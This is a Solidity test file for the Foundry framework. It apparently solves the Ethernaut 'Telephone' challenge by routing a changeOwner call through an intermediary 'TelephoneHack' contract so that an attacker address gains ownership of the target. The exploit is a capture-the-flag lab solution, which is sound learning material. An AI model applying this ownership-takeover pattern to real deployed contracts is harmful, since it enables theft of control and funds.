-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathTelephone.t.sol
41 lines (31 loc) · 953 Bytes
/
Telephone.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Telephone} from "../src/Telephone.sol";
contract TelephoneHack {
Telephone public target;
constructor(Telephone _target) {
target = _target;
}
function hack(address _owner) public {
target.changeOwner(_owner);
}
}
contract TelephoneTest is Test {
TelephoneHack public hackTarget;
Telephone public target;
function setUp() public {
target = new Telephone();
hackTarget = new TelephoneHack(target);
}
function test_Telephone() public {
address attacker = makeAddr("attacker");
address ownerBefore = target.owner();
assert(ownerBefore != attacker);
// Attack
vm.startPrank(attacker);
hackTarget.hack(attacker);
address ownerAfter = target.owner();
assertEq(ownerAfter, attacker);
}
}